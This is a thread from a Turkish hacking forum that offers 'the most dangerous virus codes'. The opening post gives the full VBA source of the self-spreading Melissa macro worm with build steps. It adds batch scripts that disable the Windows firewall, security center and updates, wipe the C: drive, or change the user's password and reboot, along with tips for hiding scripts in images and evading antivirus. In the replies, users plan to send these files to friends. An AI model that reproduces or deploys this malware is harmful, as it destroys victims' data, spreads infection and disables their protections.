THT DUYURU

chat
Trojan ve Virüsler Trojan ve Virüsler Hakkında Bilgiler.

ugursuz reklam
takipci
Seçenekler

En Tehlikeli Virüs Kodları//CoLTFeeT06

CoLTFeeT06 - ait Kullanıcı Resmi (Avatar)
Hesap Askıya Alındı
Üyelik tarihi:
10/2011
Nereden:
ANKARA
Yaş:
27
Mesajlar:
1.606
Konular:
247
Teşekkür (Etti):
95
Teşekkür (Aldı):
383
Ticaret:
(0) %
14
10519
08-03-2012 00:26
#1
En Tehlikeli Virüs Kodları

--------------------------------------------------------------------------------

Daha önce verildimi bilmem ama ben koyuyorum


2 sene önce dünya bilgisayar piyasasını altüst eden bir virüs.
Yapımı:
Bir Microsft Word belgesi açyoruz.Daha sonra yeni belge açıp Alt + f11'e basarak Microsoft Visual Basic'i açıyoruz

Project 1 / Microsoft Word objects / This ******** seklinde 3 lü bir seçim geliyor karşımıza...
This ********i seçmeliyiz bu aşamada. Seçimi yaptıktan sonra asagıda verilmış olan Melısssa kodlarını yapıştırıyoruz ve kaydediyoruz bu belgeyi.
Melissa Visuel Basic virüsüdür. .Exe olamaması bunu inandırma oranını 100 de 100 arttırr .
Fakat panda,norton,mcafee,mks virüs olarak buluyor ancak kaspersky(5.0) ve avast(4.7) tanımıyor tabi avg eksik kalıyor bu konuda.
Not: Çalışıyor. Denendi.
Melıssa Kodları:

Private Sub ********_Open() ' Writted By eXit
On Error Resume Next
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9 .0\W ord\Security", "Level") <> "" Then
CommandBars("Macro").Controls("Security...").Enabl ed = False
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9 .0\W ord\Security", "Level") = 1&
Else
CommandBars("Tools").Controls("Macro").Enabled = False
Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1): Options.SaveNormalPrompt = (1 - 1)
End If

Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
Set UngaDasOutlook = CreateObject("Outlook.Application")
Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\" , "Melissa?") <> "... by Kwyjibo" Then
If UngaDasOutlook = "Outlook" Then
DasMapiName.Logon "profile", "password"
For y = 1 To DasMapiName.AddressLists.Count
Set AddyBook = DasMapiName.AddressLists(y)
x = 1
Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
For oo = 1 To AddyBook.AddressEntries.Count
Peep = AddyBook.AddressEntries(x)
BreakUmOffASlice.Recipients.Add Peep
x = x + 1
If x > 50 Then oo = AddyBook.AddressEntries.Count
Next oo
BreakUmOffASlice.Subject = "Important Message From " & Application.UserName
BreakUmOffASlice.Body = "Here is that ******** you asked for ... don't show anyone else ;-)"
BreakUmOffASlice.Attachments.Add Active********.FullName
BreakUmOffASlice.Send
Peep = ""
Next y
DasMapiName.Logoff
End If
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\" , "Melissa?") = "... by Kwyjibo"
End If


Set ADI1 = Active********.VBProject.VBComponents.Item(1)
Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)
NTCL = NTI1.CodeModule.CountOfLines
ADCL = ADI1.CodeModule.CountOfLines
BGN = 2
If ADI1.Name <> "Melissa" Then
If ADCL > 0 Then ADI1.CodeModule.DeleteLines 1, ADCL
Set ToInfect = ADI1
ADI1.Name = "Melissa"
DoAD = True
End If

If NTI1.Name <> "Melissa" Then
If NTCL > 0 Then NTI1.CodeModule.DeleteLines 1, NTCL
Set ToInfect = NTI1
NTI1.Name = "Melissa"
DoNT = True
End If

If DoNT <> True And DoAD <> True Then GoTo CYA

If DoNT = True Then
Do While ADI1.CodeModule.Lines(1, 1) = ""
ADI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub ********_Close()")
Do While ADI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If

If DoAD = True Then
Do While NTI1.CodeModule.Lines(1, 1) = ""
NTI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub ********_Open()")
Do While NTI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If

CYA:

If NTCL <> 0 And ADCL = 0 And (InStr(1, Active********.Name, "********") = False) Then
Active********.SaveAs FileName:=Active********.FullName
ElseIf (InStr(1, Active********.Name, "********") <> False) Then
Active********.Saved = True
End If

If Day(Now) = Minute(Now) Then Selection.TypeText " Twenty-two points, plus triple-word-score, plus fifty points for using all my letters. Game's over. I'm outta here."
End Sub


2.Virüs



KOD:


@echo off
net stop "Security Center"
net stop SharedAccess
> "%Temp%.\kill.reg" ECHO A R E S
>>"%Temp%.\kill.reg" ECHO.
>>"%Temp%.\kill.reg" ECHO [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Servic es\SharedAccess]
>>"%Temp%.\kill.reg" ECHO "Start"=dword:00000004
>>"%Temp%.\kill.reg" ECHO.
>>"%Temp%.\kill.reg" ECHO [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Servic es\wuauserv]
>>"%Temp%.\kill.reg" ECHO "Start"=dword:00000004
>>"%Temp%.\kill.reg" ECHO.
>>"%Temp%.\kill.reg" ECHO [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\w scsvc]
>>"%Temp%.\kill.reg" ECHO "Start"=dword:00000004
>>"%Temp%.\kill.reg" ECHO.
START /WAIT REGEDIT /S "%Temp%.\kill.reg"
DEL "%Temp%.\kill.reg"
DEL %0



Not defterine kopyalayıp adını virüs.bat veya virüs.cmd olarak kaydedin
Herhangi bir resim ile birleştirmek isterseniz ;

Resme sağ tıklayın Birlikte Aç >Not Defteri yapıp kodu resmin sonuna ekleyin.

Not: Kaspersky , Norton , NOD32 , Avast gibi anti virüslere yakalanmaktadır.



3. Virüs
__________________________________________________ __________

@echo off
C:\WINDOWS\COMMAND\deltree /y......
C:\WINDOWS\COMMAND\deltree /y c:\Progra~1\*.*
@echo off
C:\WINDOWS\COMMAND\deltree /y c:\*.*
@echo off
cls
cls

Uzantı: .bat
__________________________________________________ __________
4.Virüs
__________________________________________________ __________
Kodlar:
net user %username% 753951456852
shutdown -r

Uzantı: .bat
Bunu Yaptıktan Sonra Sakın Kendi Bilgisayarınızdan Açmayın Gümletirsiniz


Sorumluluk bana ve turkhackteam.net ait deyildir


CoLTFeeT06
Konu CoLTFeeT06 tarafından (09-03-2012 20:31 Saat 20:31 ) değiştirilmiştir.
ByGaraOglan, Monte Kristo Kontu Teşekkür etti.
sagopakaj - ait Kullanıcı Resmi (Avatar)
Yeni Üye
Üyelik tarihi:
05/2012
Mesajlar:
249
Konular:
36
Teşekkür (Etti):
54
Teşekkür (Aldı):
10
Ticaret:
(0) %
08-09-2012 21:53
#2
işe yararmı?
VentolinNebuls - ait Kullanıcı Resmi (Avatar)
Yeni Üye
Üyelik tarihi:
02/2012
Mesajlar:
83
Konular:
3
Teşekkür (Etti):
4
Teşekkür (Aldı):
5
Ticaret:
(0) %
09-09-2012 08:20
#3
teşekkürler
--------------------- Dün ile bugün arasında bir kavga çıkarsa yarını kaybederiz -Winston Churchill
qweasd4848 - ait Kullanıcı Resmi (Avatar)
Yeni Üye
Üyelik tarihi:
09/2012
Mesajlar:
3
Konular:
0
Teşekkür (Etti):
3
Teşekkür (Aldı):
0
Ticaret:
(0) %
11-09-2012 11:37
#4
Şİmdi ben not defteri ile olanı yaptım masaüstüne kaydettim asfasdf.bat diye sonra bunu faceden atsam o da açsa gidicek mi pc'ci ?
METEOUR - ait Kullanıcı Resmi (Avatar)
Yeni Üye
Üyelik tarihi:
06/2012
Nereden:
Elazığ
Mesajlar:
70
Konular:
4
Teşekkür (Etti):
0
Teşekkür (Aldı):
2
Ticaret:
(0) %
11-09-2012 14:41
#5
Melissa mı en iyisi diyorsun.CIH dene(Piyasada orjinal CIH bulamazsın.)
--------------------- ''Bu hayatta yaptırmak istediklerinin adını iyilik koymuşlar''




---------------H4CK3D By M3T30UR-------------

Facebook Profilhttp://www.facebook.com/Legend785
Barankinq - ait Kullanıcı Resmi (Avatar)
Yeni Üye
Üyelik tarihi:
09/2012
Mesajlar:
5
Konular:
1
Teşekkür (Etti):
1
Teşekkür (Aldı):
0
Ticaret:
(0) %
12-09-2012 13:01
#6
Owww shut taktiğini denicem . Pc yi kapatır ona tklayınca demi?
GaziantepLi27 - ait Kullanıcı Resmi (Avatar)
Hesap Askıya Alındı
Üyelik tarihi:
09/2012
Mesajlar:
131
Konular:
8
Teşekkür (Etti):
1
Teşekkür (Aldı):
3
Ticaret:
(0) %
13-09-2012 13:41
#7
Ben Monitör patlatma uzantısını Bi arkadaşa attım Pc gümledi amk
semih90 Teşekkür etti.
semih90 - ait Kullanıcı Resmi (Avatar)
Yeni Üye
Üyelik tarihi:
09/2012
Mesajlar:
2
Konular:
0
Teşekkür (Etti):
1
Teşekkür (Aldı):
0
Ticaret:
(0) %
13-09-2012 17:10
#8
slm arkadaşlar ben yeniyim paylaşımın güzel olmuş eline beynine sağlık
loost123 - ait Kullanıcı Resmi (Avatar)
Yeni Üye
Üyelik tarihi:
03/2012
Nereden:
Frankurt
Mesajlar:
975
Konular:
127
Teşekkür (Etti):
26
Teşekkür (Aldı):
44
Ticaret:
(0) %
15-09-2012 13:42
#9
sonunda yaptıgı seyde shut down-r ya direk delete :c yapıp sonra shut yapsan cokmu bişe değişiyor
Hacker By Furkan - ait Kullanıcı Resmi (Avatar)
Yeni Üye
Üyelik tarihi:
09/2012
Nereden:
Batman
Mesajlar:
503
Konular:
17
Teşekkür (Etti):
3
Teşekkür (Aldı):
59
Ticaret:
(0) %
15-09-2012 13:47
#10
Teşekkürler Mutlaka Denıyecem Birtanesini D:
--------------------- Aklınla her yerde olursun, ama bedeninle sadece olduğun yerde varsın

















İlk Önce Aklını Geliştir Sonra Beni Eleştir... "Furkan"
SquadHacker Teşekkür etti.

Bookmarks


« Önceki Konu | Sonraki Konu »
Seçenekler